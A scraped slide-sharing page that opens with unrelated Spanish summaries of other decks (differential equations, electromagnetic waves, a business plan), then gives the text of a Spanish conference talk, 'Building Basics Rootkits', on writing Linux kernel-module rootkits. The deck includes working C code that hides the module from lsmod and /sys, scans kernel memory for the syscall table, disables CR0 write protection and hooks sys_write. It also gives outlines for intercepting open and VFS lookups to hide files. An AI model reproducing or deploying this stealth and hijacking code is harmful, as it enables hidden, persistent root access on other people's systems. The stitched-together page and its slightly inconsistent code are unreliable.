Este documento describe el método de coeficientes indeterminados para resolver ecuaciones diferenciales lineales no homogéneas de primer y segundo orden con coeficientes constantes. Explica cómo encontrar una solución particular al igual que la solución general, la cual es la suma de la solución complementaria y la solución particular. También incluye ejemplos ilustrativos y dos problemas resueltos paso a paso usando este método.
Este documento presenta diferentes tipos de ecuaciones diferenciales, incluyendo la ecuación de Bernoulli, la ecuación de Ricatti y métodos para resolverlas. La ecuación de Bernoulli puede transformarse en una ecuación lineal mediante una sustitución, mientras que la ecuación de Ricatti puede resolverse encontrando primero una solución particular y luego realizando sustituciones para convertirla en una ecuación de Bernoulli. El documento también proporciona ejemplos resueltos de ambos tipos de ecuaciones.
Este documento presenta una guía para generar muestras aleatorias de distribuciones de probabilidad discretas y continuas usando el software Stat::Fit. Como ejemplo, se simula el tiempo de espera y ocioso de una fotocopiadora universitaria donde los tiempos de llegada son exponenciales y el número de copias por estudiante es uniforme. Se pide generar tres muestras de 40 clientes cada una y calcular los tiempos promedio de llegada, servicio y en el sistema, además del porcentaje de tiempo ocioso.
Este documento trata sobre ondas reflejadas y la profundidad de penetración. Explica las leyes de Snell para la incidencia oblicua y presenta varios problemas resueltos sobre ángulos de transmisión. También cubre temas como polarización perpendicular y paralela, y define el vector de Poynting para describir la dirección del flujo de energía en ondas planas.
Este documento presenta las ondas electromagnéticas. Describe las ecuaciones de Maxwell que unificaron los fenómenos eléctricos y magnéticos y predijeron la existencia de las ondas electromagnéticas. Explica que las ondas electromagnéticas consisten en campos eléctricos y magnéticos variables que se propagan a través del espacio a la velocidad de la luz. Finalmente, analiza el caso de ondas electromagnéticas planas monocromáticas que se propagan en una dirección.
El documento describe las ondas electromagnéticas y su propagación. Establece que un campo eléctrico variable produce un campo magnético variable y viceversa, generando ondas electromagnéticas capaces de propagarse. Estas ondas pueden viajar en medios con o sin fronteras, y su propagación depende de las propiedades del medio como la permitividad, permeabilidad y conductividad.
Business Plan -rAIces - Agro Business Techjohnyamg20
Innovación y transparencia se unen en un nuevo modelo de negocio para transformar la economia popular agraria en una agroindustria. Facilitamos el acceso a recursos crediticios, mejoramos la calidad de los productos y cultivamos un futuro agrícola eficiente y sostenible con tecnología inteligente.
Ofrecemos herramientas y metodologías para que las personas con ideas de negocio desarrollen un prototipo que pueda ser probado en un entorno real.
Cada miembro puede crear su perfil de acuerdo a sus intereses, habilidades y así montar sus proyectos de ideas de negocio, para recibir mentorías .
José Luis Jiménez Rodríguez
Junio 2024.
“La pedagogía es la metodología de la educación. Constituye una problemática de medios y fines, y en esa problemática estudia las situaciones educativas, las selecciona y luego organiza y asegura su explotación situacional”. Louis Not. 1993.
2. Building Basics Rootkits
Contents
1 Introducci´on
¿Qu´e es un Rootkit?
Tipos de Rootkits
Funciones Comunes de Rootkits
2 Manos a la Obra
Consideraciones
Primeros Pasos
Ejercicio: Hello World Module
Manejando Parametros
3 T´opicos Avanzados
Trabajando con la Estructura de Tareas
Escondiendo nuestros pasos
3. Building Basics Rootkits
Introducci´on
¿Qu´e es un Rootkit?
¿Qu´e es un Rootkit?
Un rootkit (seg´un Wikipedia), se puede definir como:
Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.
4. Building Basics Rootkits
Introducci´on
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ıas, o archivos de configuraci´on, e
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem
5. Building Basics Rootkits
Introducci´on
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
6. Building Basics Rootkits
Manos a la Obra
Consideraciones
Consideraciones
Las diferencias m´as importantes entre un desarrollo a n´ıvel kernel o
espacio usuario son:
El kernel carece de protecci´on de memoria... algo que se
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ´enfasis al
desarrollar (Race-Conditions).
La portabilidad... entre versi´on y versi´on de n´ucleo.
7. Building Basics Rootkits
Manos a la Obra
Primeros Pasos
Primeros Pasos
Algunas Macros importantes:
module init();
module exit();
MODULE LICENSE(”GPL”);
MODULE AUTHOR(”NataS”);
MODULE DESCRIPTION(”My LKM”);
8. Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
static int hello_init(void) {
printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n");
return 0;
}
static void hello_exit(void) {
printk(KERN_ALERT "Goodbye GuadalajaraCon!n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("NataS");
MODULE_DESCRIPTION("My First LKM");
9. Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
Nuestro Makefile:
obj-m := modulo.o
Y Compilamos como:
make -C /lib/modules/$(uname -r)/build
SUBDIRS=$PWD modules
Cargamos nuestro m´odulo
insmod modulo.ko
Listamos nuestro m´odulo
lsmod | grep modulo
Eliminamos nuestro m´odulo
rmmod modulo.ko
10. Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Manejando Parametros
Los par´ametros se mandan cuando arrancamos el m´odulo de la
forma:
insmod modulo param1=valor1 param2=valor2
Para definir los par´ametros, primero declaramos variables y las
pasamos a la macro:
module_param(nombre, tipo, permisos)
module_param_string(nombre,variable, longitud, permisos);
Permisos son los definidos en sysfs, y afectan las entradas del
modulo en /sys/module
11. Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Ejercicio: Name and Age
static char myName[50];
module_param_string(name, myName, 50, 0);
static int age = 1;
module_param(age, int, 0);
...
printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
12. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
El kernel de linux contiene una lista enlazada (definida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.
13. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
Desde el kernel tenemos acceso directo a la lista de tareas
(task struct), la cual es una lista doblemente enlazada ¿A´un
recuerdan sus clases de programaci´on? Para acceder a la estructura
que contiene informaci´on sobre nuestro proceso, basta con hacer
uso del puntero current
#include <linux/sched.h>
#include <asm/current.h>
static int hello_init(void) {
printk(KERN_ALERT "My Name --> %s and PID -->
%i n", current->comm, current->pid);
return 0;
}
14. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Ejercicio: Get my PID and all others
Usando los c´odigos anteriores... Recorran la lista de tareas y pinten
cada proceso y su PID. Con este acceso pueden intentar esconder
un proceso tambi´en:
15. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding Ver.1
El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´odulos que est´an cargados (lsmod y
/proc leen dicha lista).
Esconder nuestro m´odulo es muy sencillo, en la funci´on de
inicio del m´odulo basta con eliminar la referencia de la lista:
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaci´on:
1 A´un somos detectables desde /sys
2 Al hacer un unload del m´odulo, debido a que no existe en la
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.
16. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Hide myself
Nos escodemos:
static int hide_init(void) {
printk(KERN_ALERT "Hello World! My first LKM.n");
printk(KERN_ALERT "Let’s get hide myself.n");
list_del(&THIS_MODULE->list);
return 0;
}
Nos buscamos
lsmod | grep modulo
cat /proc/modules | grep modulo
Nos Encontramos
ls /sys/module/modulo
17. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding. Ve2
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´odigo del kernel, vemos que en la descarga del
m´odulo, primero debemos eliminarnos de /sys y
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
est´en iniciados a NULL
Recomendaciones:
1 Recordar informaci´on previa (prev y next en la lista).
2 Sobreescribir readproc y writeproc
3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
18. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Find Me if You can
static inline void hideme(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
Ahora... busquemos el m´odulo
19. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
La direcci´on de la sys call table, puede ser encontrada en el archivo
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se
exporten, sys close por ejemplo.
20. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
21. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modificar este bit antes y despu´es del
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
22. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
23. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
25. Building Basics Rootkits
Referencias
Referencias
Designing BSD Rootkits, Joseph Kong
Linux Kernel Development, Robert Love
Writing Kernel Exploits Paper, Keegan MacAllister
Linux Kernel Crash Book, Igor Ljubuncic
The Rootkits Arsenal, Reverend Bill Blunden